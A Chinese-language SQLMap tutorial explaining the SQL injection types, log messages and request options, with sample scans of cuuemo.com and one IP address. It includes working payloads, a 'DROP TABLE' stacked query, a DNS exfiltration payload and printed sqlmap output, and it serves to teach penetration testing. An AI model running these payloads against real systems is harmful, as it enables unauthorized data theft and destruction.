SQLMap 是一种用 Python 编写的免费开源渗透测试工具,可自动执行检测和利用 SQL 注入 (SQLi) 漏洞的过程。 SQLMap 从 2006 年开始不断发展,至今仍在维护。 SQLMap 带有强大的检测引擎、众多功能以及广泛的选项和开关,用于微调它的许多方面,例如:
| 目标连接 | 注入检测 | 指纹识别 |
|---|---|---|
| 枚举 | 优化 | 使用“篡改”脚本进行保护检测和绕过 |
| 数据库内容检索 | 文件系统访问 | 执行操作系统 (OS) 命令 |
SQLMap安装
SQLMap 预装在您的 Pwnbox 和大多数以安全为中心的操作系统上。 在许多 Linux 发行版的库中也可以找到 SQLMap。 例如,在 Debian 上,它可以安装:
──(kali㉿kali)-[~]
└─$ sudo apt install sqlmap
如果我们想手动安装,可以在Linux终端或者Windows命令行中使用如下命令:
──(kali㉿kali)-[~]
└─$ git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
之后,SQLMap 可以运行:
──(kali㉿kali)-[~]
└─$ python sqlmap.py
支持的数据库
在任何其他 SQL 开发工具中,SQLMap 对 DBMS 的支持最大。 SQLMap 完全支持以下 DBMS:
MySQL | Oracle | PostgreSQL | Microsoft SQL Server |
|---|---|---|---|
SQLite | IBM DB2 | Microsoft Access | Firebird |
Sybase | SAP MaxDB | Informix | MariaDB |
HSQLDB | CockroachDB | TiDB | MemSQL |
H2 | MonetDB | Apache Derby | Amazon Redshift |
Vertica, Mckoi | Presto | Altibase | MimerSQL |
CrateDB | Greenplum | Drizzle | Apache Ignite |
Cubrid | InterSystems Cache | IRIS | eXtremeDB |
FrontBase | |||
| SQLMap 团队还致力于定期添加和支持新的 DBMS。 |
支持的 SQL 注入类型
SQLMap 是唯一可以正确检测和利用所有已知 SQLi 类型的渗透测试工具。 我们看到 SQLMap 支持的 SQL 注入类型
有 sqlmap -hh命令
──(kali㉿kali)-[~]
└─$ sqlmap -hh
...SNIP...
Techniques:
--technique=TECH.. SQL injection techniques to use (default "BEUSTQ")
技术特征 BEUSTQ指以下内容:
B: 基于布尔的盲注E: 基于错误U: 基于联合查询S: 堆叠查询T: 基于时间的盲注Q:内联查询
基于布尔的 SQL 盲注
例子 Boolean-based blind SQL Injection:
AND 1=1
SQLMap 漏洞利用 基于布尔的 SQL 盲注通过差异化的脆弱性 TRUE从 FALSE查询结果,每个请求有效地检索 1 个字节的信息。 区分是基于比较服务器响应来确定 SQL 查询是否返回 TRUE或者 FALSE. 这包括原始响应内容、HTTP 代码、页面标题、过滤文本和其他因素的模糊比较。
TRUE结果通常基于与常规服务器响应没有差异或差异很小的响应。FALSE结果基于与常规服务器响应有实质性差异的响应。基于布尔的 SQL 盲注被认为是 Web 应用程序中最常见的 SQLi 类型。
基于错误的 SQL 注入
例子 Error-based SQL Injection:
AND GTID_SUBSET(@@version,0)
如果 database management system ( DBMS) 错误作为任何数据库相关问题的服务器响应的一部分被返回,那么它们有可能被用来携带请求查询的结果。 在这种情况下,使用当前 DBMS 的专用有效负载,针对导致已知不当行为的功能。 SQLMap 拥有此类相关有效载荷的最全面列表,涵盖了 基于错误的 SQL 注入对于以下 DBMS:
| MySQL | PostgreSQL | Oracle |
|---|---|---|
| Microsoft SQL Server | Sybase | Vertica |
| IBM DB2 | Firebird | MonetDB |
| 基于错误的 SQLi 被认为比所有其他类型都快,但基于 UNION 查询的 SQLi 除外,因为它可以通过每个请求检索有限数量(例如,200 字节)的称为“块”的数据。 |
UNION 基于查询
例子 UNION query-based SQL Injection:
UNION ALL SELECT 1,@@version,3
随着使用 UNION, 通常可以扩展原来的 ( vulnerable) 查询注入语句的结果。 这样,如果原始查询结果作为响应的一部分呈现,攻击者可以从页面响应本身中的注入语句中获得额外的结果。 这种类型的 SQL 注入被认为是最快的,因为在理想情况下,攻击者可以通过单个请求提取整个感兴趣的数据库表的内容。
堆叠查询
例子 Stacked Queries:
; DROP TABLE users
堆叠 SQL 查询,也称为“搭载”,是在易受攻击的 SQL 语句之后注入额外 SQL 语句的一种形式。 如果需要运行非查询语句(例如 INSERT, UPDATE或者 DELETE),堆叠必须得到易受攻击的平台的支持(例如, Microsoft SQL Server和 PostgreSQL默认支持)。 SQLMap 可以利用此类漏洞来运行在高级功能(例如,执行 OS 命令)中执行的非查询语句,以及类似于基于时间的盲 SQLi 类型的数据检索。
基于时间的 SQL 盲注
例子 Time-based blind SQL Injection:
AND 1=IF(2>1,SLEEP(5),0)
基于时间的 SQL 盲注的原理与基于布尔的 SQL 盲注类似,只是这里以响应时间作为区分TRUE 或FALSE 的来源。
TRUE与常规服务器响应相比,响应通常以响应时间的显着差异为特征FALSE响应应该导致响应时间与常规响应时间无法区分 基于时间的 SQL 盲注比基于布尔的盲 SQLi 慢得多,因为查询导致TRUE会延迟服务器响应。 此 SQLi 类型用于以下情况基于布尔的 SQL 盲注不适用。 例如,如果易受攻击的 SQL 语句是非查询(例如INSERT,UPDATE或者DELETE), 作为辅助功能的一部分执行,对页面呈现过程没有任何影响,出于必要使用基于时间的 SQLi,因为基于布尔的 SQL 盲注在这种情况下不会真正起作用。
内联查询
例子 Inline Queries:
SELECT (SELECT @@version) from
这种类型的注入在原始查询中嵌入了一个查询。 这种 SQL 注入并不常见,因为它需要以某种方式编写易受攻击的 Web 应用程序。 不过,SQLMap 也支持这种 SQLi。
带外 SQL 注入
例子 Out-of-band SQL Injection:
LOAD_FILE(CONCAT('\\\\',@@version,'.cuuemo.com\\README.txt'))
这被认为是最先进的 SQLi 类型之一,用于所有其他类型不被易受攻击的 Web 应用程序支持或速度太慢的情况(例如,基于时间的盲 SQLi)。 SQLMap 通过“DNS 渗漏”支持带外 SQLi,其中通过 DNS 流量检索请求的查询。
通过在受控域的 DNS 服务器上运行 SQLMap(例如 .cuuemo.com), SQLMap 可以通过强制服务器请求不存在的子域来执行攻击(例如 foo.cuuemo.com), 在哪里 foo将是我们想要接收的 SQL 响应。 SQLMap 然后可以收集这些错误的 DNS 请求并收集 foo部分,形成整个 SQL 响应。
SQLMap 入门
在开始使用 SQLMap 时,新用户的第一站通常是程序的帮助消息。 为了帮助新用户,有两个级别的帮助消息列表:
┌──(kali㉿kali)-[~]
└─$ sqlmap -h
___
__H__
___ ___["]_____ ___ ___ {1.6.12#stable}
|_ -| . ["] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
Usage: python3 sqlmap [options]
Options:
-h, --help Show basic help message and exit
-hh Show advanced help message and exit
--version Show program's version number and exit
-v VERBOSE Verbosity level: 0-6 (default 1)
Target:
At least one of these options has to be provided to define the
target(s)
-u URL, --url=URL Target URL (e.g. "http://www.site.com/vuln.php?id=1")
-g GOOGLEDORK Process Google dork results as target URLs
...SNIP...
显示所有选项和开关(开关 -hh):
┌──(kali㉿kali)-[~]
└─$ sqlmap -hh
___
__H__
___ ___[']_____ ___ ___ {1.6.12#stable}
|_ -| . [)] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
Usage: python3 sqlmap [options]
Options:
-h, --help Show basic help message and exit
-hh Show advanced help message and exit
--version Show program's version number and exit
-v VERBOSE Verbosity level: 0-6 (default 1)
Target:
At least one of these options has to be provided to define the
target(s)
-u URL, --url=URL Target URL (e.g. "http://www.site.com/vuln.php?id=1")
-d DIRECT Connection string for direct database connection
-l LOGFILE Parse target(s) from Burp or WebScarab proxy log file
-m BULKFILE Scan multiple targets given in a textual file
-r REQUESTFILE Load HTTP request from a file
-g GOOGLEDORK Process Google dork results as target URLs
-c CONFIGFILE Load options from a configuration INI file
Request:
These options can be used to specify how to connect to the target URL
-A AGENT, --user.. HTTP User-Agent header value
-H HEADER, --hea.. Extra header (e.g. "X-Forwarded-For: 127.0.0.1")
--method=METHOD Force usage of given HTTP method (e.g. PUT)
--data=DATA Data string to be sent through POST (e.g. "id=1")
--param-del=PARA.. Character used for splitting parameter values (e.g. &)
--cookie=COOKIE HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..")
--cookie-del=COO.. Character used for splitting cookie values (e.g. ;)
...SNIP...
更多详细信息,建议用户查阅项目的 wiki ,因为它代表了 SQLMap 使用的官方手册。
基本场景
在一个简单的场景中,渗透测试人员通过 GET参数(例如, id). 然后他们想测试网页是否受到 SQL 注入漏洞的影响。 如果是这样,他们会想利用它,从后端数据库中检索尽可能多的信息,甚至尝试访问底层文件系统并执行操作系统命令。 此场景的 SQLi 易受攻击的 PHP 代码示例如下所示:
$link = mysqli_connect($host, $username, $password, $database, 3306);
$sql = "SELECT * FROM users WHERE id = " . $_GET["id"] . " LIMIT 0, 1";
$result = mysqli_query($link, $query);
if (!$result)
die("<b>SQL error:</b> ". mysqli_error($link) . "<br>\n");
由于为易受攻击的 SQL 查询启用了错误报告,因此在出现任何 SQL 查询执行问题时,将作为 Web 服务器响应的一部分返回数据库错误。 这种情况简化了 SQLi 检测过程,特别是在手动参数值篡改的情况下,因为很容易识别由此产生的错误.
SQLMap 输出说明
在上一节的结尾,sqlmap 输出在其扫描过程中向我们展示了很多信息。 这些数据通常对理解至关重要,因为它会指导我们完成自动 SQL 注入过程。 这准确地向我们展示了 SQLMap 正在利用的漏洞类型,这有助于我们报告 Web 应用程序具有哪种类型的注入。 如果我们想在 SQLMap 确定注入类型和易受攻击的参数后手动利用 Web 应用程序,这也会变得很方便。
日志消息说明
以下是在扫描 SQLMap 期间通常会发现的一些最常见的消息,以及之前练习中的每个消息及其描述的示例。
网址内容稳定
日志消息:
"target URL content is stable" #“目标网址内容稳定”
这意味着在连续相同请求的情况下,响应之间没有重大变化。 从自动化的角度来看,这很重要,因为在稳定响应的情况下,更容易发现由潜在的 SQLi 尝试引起的差异。 虽然稳定性很重要,但 SQLMap 具有先进的机制来自动消除可能来自潜在不稳定目标的潜在“噪音”。
参数似乎是动态的
日志消息:
"GET parameter 'id' appears to be dynamic" #“GET 参数‘id’似乎是动态的”
总是希望测试参数是“动态的”,因为它表明对其值所做的任何更改都会导致响应发生变化; 因此该参数可以链接到数据库。 如果输出是“静态的”并且没有改变,它可能表明被测试参数的值没有被目标处理,至少在当前上下文中是这样。
参数可能是可注入的
日志消息:
"heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')" #“启发式(基本)测试表明 GET 参数‘id’可能是可注入的(可能是 DBMS:‘MySQL’)”
如前所述,DBMS 错误是潜在 SQLi 的良好指示。 在这种情况下,当 SQLMap 发送一个有意使用的无效值时出现 MySQL 错误(e.g. ?id=1",)..).))'),这表明被测试的参数可以是 SQLi 可注入的并且目标 可能是 MySQL,需要注意的是,这不是 SQLi 的证明,只是表明检测机制必须在后续运行中证明。
参数可能容易受到 XSS 攻击
日志消息:
"heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to cross-site scripting (XSS) attacks" #“启发式 (XSS) 测试表明 GET 参数‘id’可能容易受到跨站点脚本 (XSS) 攻击”
虽然这不是它的主要目的,但 SQLMap 还运行快速启发式测试以检测是否存在 XSS 漏洞。 在使用 SQLMap 测试大量参数的大规模测试中,拥有这些类型的快速启发式检查非常好,尤其是在没有发现 SQLi 漏洞的情况下。
后端 DBMS 是“...”
日志消息:
"it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]" #“看起来后端 DBMS 是‘MySQL’。你想跳过特定于其他 DBMS 的测试负载吗?[Y/n]”
在正常运行中,SQLMap 测试所有支持的 DBMS。 如果有明确迹象表明目标正在使用特定的 DBMS,我们可以将有效负载缩小到该特定的 DBMS。
级别/风险值。
日志消息:
"for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]" #“对于剩余的测试,您是否要包括扩展提供的级别 (1) 和风险 (1) 值的 'MySQL' 的所有测试?[Y/n]”
如果有明确的迹象表明目标使用特定的 DBMS,则还可以将针对同一特定 DBMS 的测试扩展到常规测试之外。 这基本上意味着为该特定 DBMS 运行所有 SQL 注入有效负载,而如果未检测到 DBMS,则只会测试顶部有效负载。
发现反光值
日志消息:
"reflective value(s) found and filtering out" #“找到反射值并过滤掉”
只是警告在响应中发现了部分使用的有效负载。 这种行为可能会给自动化工具带来问题,因为它代表了垃圾。 但是,SQLMap 具有过滤机制,可以在比较原始页面内容之前删除此类垃圾。
参数似乎是可注入的
日志消息:
"GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="luther")" #“GET 参数‘id’似乎是‘AND 基于布尔的盲注 - WHERE 或 HAVING 子句’可注入(使用 --string="luther")”
此消息表明该参数似乎是可注入的,但仍有可能是误报。 在基于布尔的盲注和类似的 SQLi 类型(例如,基于时间的盲注)的情况下,误报的可能性很高,在运行结束时,SQLMap 执行广泛的测试,包括用于删除的简单逻辑检查 的假阳性结果。
此外, with --string="luther"表示 SQLMap 识别并使用常量字符串值的外观 luther在区分响应中 TRUE从 FALSE回应。 这是一个重要的发现,因为在这种情况下,不需要使用高级内部机制,例如动态/反射去除或响应的模糊比较,这些不能被视为误报。
基于时间的比较统计模型
日志消息:
"time-based comparison requires a larger statistical model, please wait........... (done)" # “基于时间的比较需要更大的统计模型,请稍等......(完成)”
SQLMap 使用统计模型来识别定期和(故意)延迟的目标响应。 要使此模型起作用,需要收集足够数量的常规响应时间。 这样,即使在高延迟网络环境中,SQLMap 也可以统计区分故意延迟。
扩展 UNION 查询注入技术测试
日志消息:
"automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found" #“自动扩展 UNION 查询注入技术测试的范围,因为至少发现了一种其他(潜在)技术”
与其他 SQLi 类型相比,UNION 查询 SQLi 检查需要更多请求才能成功识别可用负载。 为了减少每个参数的测试时间,尤其是当目标看起来不可注入时,对于此类检查,请求的数量被限制为一个常量值(即 10)。 但是,如果目标很有可能容易受到攻击,尤其是当发现另一种(潜在的)SQLi 技术时,SQLMap 会扩展 UNION 查询 SQLi 的默认请求数,因为成功的预期更高。
技术似乎可用
日志消息:
"ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test" #“ORDER BY 技术似乎可用。这应该减少找到正确数量的查询列所需的时间。自动扩展当前 UNION 查询注入技术测试的范围”
作为 UNION 查询 SQLi 类型的启发式检查,在实际 UNION有效载荷被发送,一种称为 ORDER BY检查可用性。 在可用的情况下,SQLMap 可以快速识别所需的正确数量 UNION通过进行二进制搜索方法列。
请注意,这取决于易受攻击的查询中受影响的表。
参数易受攻击
"GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]" #“GET 参数‘id’易受攻击。你想继续测试其他参数(如果有的话)吗?[y/N]”
这是 SQLMap 最重要的消息之一,因为它意味着该参数被发现易受 SQL 注入攻击。 在常规情况下,用户可能只想找到至少一个可用于目标的注入点(即参数)。 但是,如果我们在 Web 应用程序上运行广泛的测试并想要报告所有潜在的漏洞,我们可以继续搜索所有易受攻击的参数。
sqlmap识别注入点
日志消息:
"sqlmap identified the following injection point(s) with a total of 46 HTTP(s) requests:" #“sqlmap 通过总共 46 个 HTTP(s) 请求确定了以下注入点:”
接下来是所有注入点的列表,包括类型、标题和有效负载,这是成功检测和利用已发现 SQLi 漏洞的最终证明。 应该注意的是,SQLMap 仅列出那些可证明可利用(即可用)的发现。
记录到文本文件的数据
日志消息:
"fetched data logged to text files under '/home/user/.sqlmap/output/www.cuuemo.com'" #"fetched data logged to text files under '/home/user/.sqlmap/output/www.cuuemo.com'"
这表示用于存储特定目标的所有日志、会话和输出数据的本地文件系统位置 - 在本例中, www.example.com. 在这样的初始运行之后,成功检测到注入点,未来运行的所有详细信息都存储在同一目录的会话文件中。 这意味着 SQLMap 会尝试尽可能减少所需的目标请求,具体取决于会话文件的数据。
在 HTTP 请求上运行 SQLMap
SQLMap 有许多选项和开关,可用于在使用前正确设置 (HTTP) 请求。 在许多情况下,简单的错误(例如忘记提供正确的 cookie 值、使用冗长的命令行进行过于复杂的设置或格式化 POST 数据的声明不当)将阻止正确检测和利用潜在的 SQLi 漏洞。
Curl 命令
针对特定目标(即,带有内部参数的 Web 请求)正确设置 SQLMap 请求的最好和最简单的方法之一是利用 Copy as cURLChrome、Edge 或 Firefox 开发人员工具中网络(监视器)面板中的功能:
![[Pasted image 20230112153751.png]]
通过粘贴剪贴板内容 ( Ctrl-V) 进入命令行,并更改原始命令 curl至 sqlmap, 我们可以使用相同的 SQLMap curl命令:
┌──(kali㉿kali)-[~]
└─$ sqlmap 'http://117.50.163.144/wp-json/sakura/v1/image/feature?883' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:108.0) Gecko/20100101 Firefox/108.0' -H 'Accept: image/avif,image/webp,*/*' -H 'Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2' -H 'Accept-Encoding: gzip, deflate' -H 'Connection: keep-alive' -H 'Referer: http://117.50.163.144/' -H 'Cookie: dark=0; bgImgSetting=white-bg'
___
__H__
___ ___["]_____ ___ ___ {1.6.12#stable}
|_ -| . [)] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 02:38:38 /2023-01-12/
[02:38:38] [INFO] testing connection to the target URL
...SNIP...
当向 SQLMap 提供测试数据时,必须有一个可以评估 SQLi 漏洞的参数值或用于自动参数查找的专门选项/开关(例如 --crawl, --forms或者 -g).
获取/发布请求
在最常见的情况下, GET参数随选项的使用提供 -u/ --url,就像前面的例子一样。 至于测试 POST数据, --data可以使用标志,如下所示:
┌──(kali㉿kali)-[~]
└─$ ssqlmap 'http://www.cuuemo.com/' --data 'uid=1&name=test'
在这种情况下, POST参数 uid和 name将测试 SQLi 漏洞。 例如,如果我们明确指出参数 uid容易出现 SQLi 漏洞,我们可以使用以下方法将测试范围缩小到仅此参数 -p uid. 否则,我们可以使用特殊标记在提供的数据中标记它 *如下:
┌──(kali㉿kali)-[~]
└─$ ssqlmap 'http://www.cuuemo.com/' --data 'uid=1*&name=test'
完整的 HTTP 请求
如果我们需要指定具有许多不同标头值和加长 POST 正文的复杂 HTTP 请求,我们可以使用 -r旗帜。 使用此选项,SQLMap 提供了“请求文件”,在单个文本文件中包含整个 HTTP 请求。 在常见情况下,此类 HTTP 请求可以从专门的代理应用程序(例如 Burp)并写入请求文件,如下:
![[Pasted image 20230112154959.png]]
捕获的 HTTP 请求示例 Burp:
GET /?id=1 HTTP/1.1
Host: www.cuuemo.com
User-Agent: User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:108.0) Gecko/20100101 Firefox/108.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
DNT: 1
If-Modified-Since: Thu, 17 Oct 2019 07:18:26 GMT
If-None-Match: "3147526947"
Cache-Control: max-age=0
我们可以从内部手动复制 HTTP 请求 Burp并将其写入文件,或者我们可以右键单击其中的请求 Burp并选择 Copy to file. 捕获完整 HTTP 请求的另一种方法是使用浏览器,如本节前面所述,然后选择选项 Copy> Copy Request Headers,然后将请求粘贴到文件中。
┌──(kali㉿kali)-[~]
└─$ sqlmap -r req.txt
___
__H__
___ ___["]_____ ___ ___ {1.6.12#stable}
|_ -| . [(] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[*] starting @ 02:38:38 /2023-01-12/
[14:32:59] [INFO] parsing HTTP request from 'req.txt'
[14:32:59] [INFO] testing connection to the target URL
[14:32:59] [INFO] testing if the target URL content is stable
[14:33:00] [INFO] target URL content is stable
...SNIP...
提示:与使用“--data”选项的情况类似,在保存的请求文件中,我们可以用星号 () 指定要注入的参数,例如“/?id=”。
自定义 SQLMap 请求
如果我们想手动制作复杂的请求,可以使用许多开关和选项来微调 SQLMap。
例如,如果需要将(会话)cookie 值指定为 PHPSESSID=ab4530f4a7d10448457fa8b0eadac29c选项 --cookie将按如下方式使用:
┌──(kali㉿kali)-[~]
└─$ sqlmap ... --cookie='PHPSESSID=ab4530f4a7d10448457fa8b0eadac29c'
使用选项可以达到相同的效果 -H/--header:
┌──(kali㉿kali)-[~]
└─$ sqlmap ... -H='Cookie:PHPSESSID=ab4530f4a7d10448457fa8b0eadac29c'
我们可以将相同的应用于选项 --host, --referer, 和 -A/--user-agent,它们用于指定相同的 HTTP 标头的值。
此外,还有一个开关 --random-agent旨在随机选择一个 User-agent来自包含的常规浏览器值数据库的标头值。 这是一个需要记住的重要开关,因为越来越多的保护解决方案会自动丢弃所有包含可识别的默认 SQLMap 用户代理值的 HTTP 流量(例如 User-agent: sqlmap/1.4.9.12#dev (http://sqlmap.org)). 或者, --mobileswitch 可用于通过使用相同的标头值来模仿智能手机。
虽然默认情况下 SQLMap 仅针对 HTTP 参数,但可以测试 SQLi 漏洞的标头。 最简单的方法是在标头值之后指定“自定义”注入标记(例如 --cookie="id=1*"). 同样的原则适用于请求的任何其他部分。
此外,如果我们想指定一个替代的 HTTP 方法,而不是 GET和 POST(例如, PUT), 我们可以利用选项 --method, 如下:
┌──(kali㉿kali)-[~]
└─$ sqlmap -u www.cuuemo.com --data='id=1' --method PUT
以“宽松”的方式实现对这些格式的支持; 因此,对于参数值在内部的存储方式没有严格的限制。 如果 POST 主体相对简单和简短,选项 --data 就足够了。
然而,在复杂或长的 POST 正文的情况下,我们使用 -r选项
实战sqmap注入
--dbs Enumerate DBMS databases # 枚举 DBMS 数据库
--tables Enumerate DBMS database tables # 枚举 DBMS 数据库表
--columns Enumerate DBMS database table columns # 枚举 DBMS 数据库表列
--dump Dump DBMS database table entries # 转储 DBMS 数据库表条目
-D DB DBMS database to enumerate # 要枚举的 DBMS 数据库
-T TBL DBMS database table(s) to enumerate # 要枚举的 DBMS 数据库表
-C COL DBMS database table column(s) to enumerate # 要枚举的 DBMS 数据库表列
--level=LEVEL Level of tests to perform (1-5, default 1) # 要执行的测试级别(1-5,默认 1)
访问
cuuemo.com/case1.php
![[Pasted image 20230112161215.png]] 我们可以看到点这里,这是get参数的注入参数是id ![[Pasted image 20230112161350.png]] 构造sqlmap命令
┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://cuuemo.com/case1.php?id=1"
___
__H__
___ ___[)]_____ ___ ___ {1.6.12#stable}
|_ -| . [,] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 03:09:34 /2023-01-12/
[03:09:34] [INFO] testing connection to the target URL # 测试与目标 URL 的连接
[03:09:35] [INFO] testing if the target URL content is stable # 测试目标 URL 内容是否稳定
[03:09:35] [INFO] target URL content is stable # 目标 URL 内容稳定
[03:09:35] [INFO] testing if GET parameter 'id' is dynamic # 测试 GET 参数 'id' 是否是动态的
[03:09:35] [INFO] GET parameter 'id' appears to be dynamic # GET 参数“id”似乎是动态的
[03:09:36] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL') # 启发式(基本)测试表明 GET 参数“id”可能是可注入的(可能的 DBMS:“MySQL”)
[03:09:36] [INFO] heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to cross-site scripting (XSS) attacks # 启发式 (XSS) 测试表明 GET 参数“id”可能容易受到跨站点脚本 (XSS) 攻击
[03:09:36] [INFO] testing for SQL injection on GET parameter 'id' # 测试 GET 参数“id”上的 SQL 注入
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] # 看起来后端 DBMS 是“MySQL”。 是否要跳过特定于其他 DBMS 的测试负载? [是/否]
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] # 对于剩余的测试,您是否要包括扩展提供的级别 (1) 和风险 (1) 值的“MySQL”的所有测试? [是/否]
[03:10:10] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' # 测试“AND 布尔型盲注 - WHERE 或 HAVING 子句”
[03:10:11] [WARNING] reflective value(s) found and filtering out # 找到反射值并过滤掉
[03:10:12] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="1958") # GET 参数 'id' 似乎是 'AND 基于布尔的盲目 - WHERE 或 HAVING 子句' 可注入(--string="1958")
[03:10:12] [INFO] testing 'Generic inline queries' # 测试“通用内联查询”
...SNIP...
[03:10:17] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable GET 参数 'id' 是 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' 可注入
[03:10:17] [INFO] testing 'MySQL inline queries' # 测试“MySQL 内联查询”
[03:10:18] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)' # 测试“MySQL >= 5.0.12 堆叠查询(评论)”
[03:10:18] [WARNING] time-based comparison requires larger statistical model, please wait........... (done) # 基于时间的比较需要更大的统计模型,请稍候......(完成)
[03:10:33] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 stacked queries (comment)' injectable # GET 参数 'id' 似乎是 'MySQL >= 5.0.12 堆叠查询(评论)' 可注入
[03:10:33] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' # 测试 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[03:10:45] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable # GET 参数 'id' 似乎是 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' 可注入
[03:10:45] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns' # 测试“通用 UNION 查询(NULL)- 1 到 20 列”
[03:10:45] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found # 自动扩展 UNION 查询注入技术测试的范围,因为至少发现了一种其他(潜在)技术
[03:10:46] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test # “ORDER BY”技术似乎可用。 这应该会减少找到正确数量的查询列所需的时间。 自动扩展当前UNION查询注入技术测试范围
[03:11:11] [INFO] target URL appears to have 6 columns in query # 目标 URL 在查询中似乎有 6 列
[03:11:13] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable # GET 参数 'id' 是 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] # GET 参数“id”易受攻击。 你想继续测试其他人(如果有的话)吗? [是/否]
sqlmap identified the following injection point(s) with a total of 43 HTTP(s) requests: #sqlmap 通过总共 43 个 HTTP(s) 请求确定了以下注入点:
---
Parameter: id (GET) # 参数: id (GET)
Type: boolean-based blind # 类型:基于布尔的盲注
Title: AND boolean-based blind - WHERE or HAVING clause # 标题:AND 布尔型盲注 - WHERE 或 HAVING 子句
Payload: id=1 AND 2710=2710
Type: error-based # 类型:基于错误
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) # 标题:MySQL >= 5.0 AND 基于错误 - WHERE、HAVING、ORDER BY 或 GROUP BY 子句 (FLOOR)
Payload: id=1 AND (SELECT 7708 FROM(SELECT COUNT(*),CONCAT(0x7171627171,(SELECT (ELT(7708=7708,1))),0x717a626271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
Type: stacked queries # 类型:堆叠查询
Title: MySQL >= 5.0.12 stacked queries (comment) # 标题:MySQL >= 5.0.12 堆叠查询(评论)
Payload: id=1;SELECT SLEEP(5)#
Type: time-based blind # 类型:基于时间的盲注
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) # 标题:MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1 AND (SELECT 3057 FROM (SELECT(SLEEP(5)))QVep)
Type: UNION query # 类型:UNION 查询
Title: Generic UNION query (NULL) - 6 columns # 标题:通用 UNION 查询 (NULL) - 6 列
Payload: id=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171627171,0x4d6e57656c4258476566474168544571787a6146664a4f7171654d6c4f494344694f527970796268,0x717a626271)-- -
---
[03:11:33] [INFO] the back-end DBMS is MySQL # 后端 DBMS 是 MySQL
web server operating system: Linux Debian 10 (buster) # 网络服务器操作系统:Linux Debian 10 (buster)
web application technology: Apache 2.4.38 # 网络应用技术:Apache 2.4.38
back-end DBMS: MySQL >= 5.0 (MariaDB fork) # 后端 DBMS:MySQL >= 5.0(MariaDB 分支)
[03:11:33] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/cuuemo.com' # 获取记录到“/home/kali/.local/share/sqlmap/output/cuuemo.com”下的文本文件的数据
[*] ending @ 03:11:33 /2023-01-12/
sqlmap监测到注入点了 我们试试post的 访问url
cuuemo.com/case2.php
![[Pasted image 20230112164909.png]] 是post方法并且参数是id 构建sqlmap语句
┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://cuuemo.com/case2.php" --data='id=1' 130 ⨯
___
__H__
___ ___[.]_____ ___ ___ {1.6.12#stable}
|_ -| . [)] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
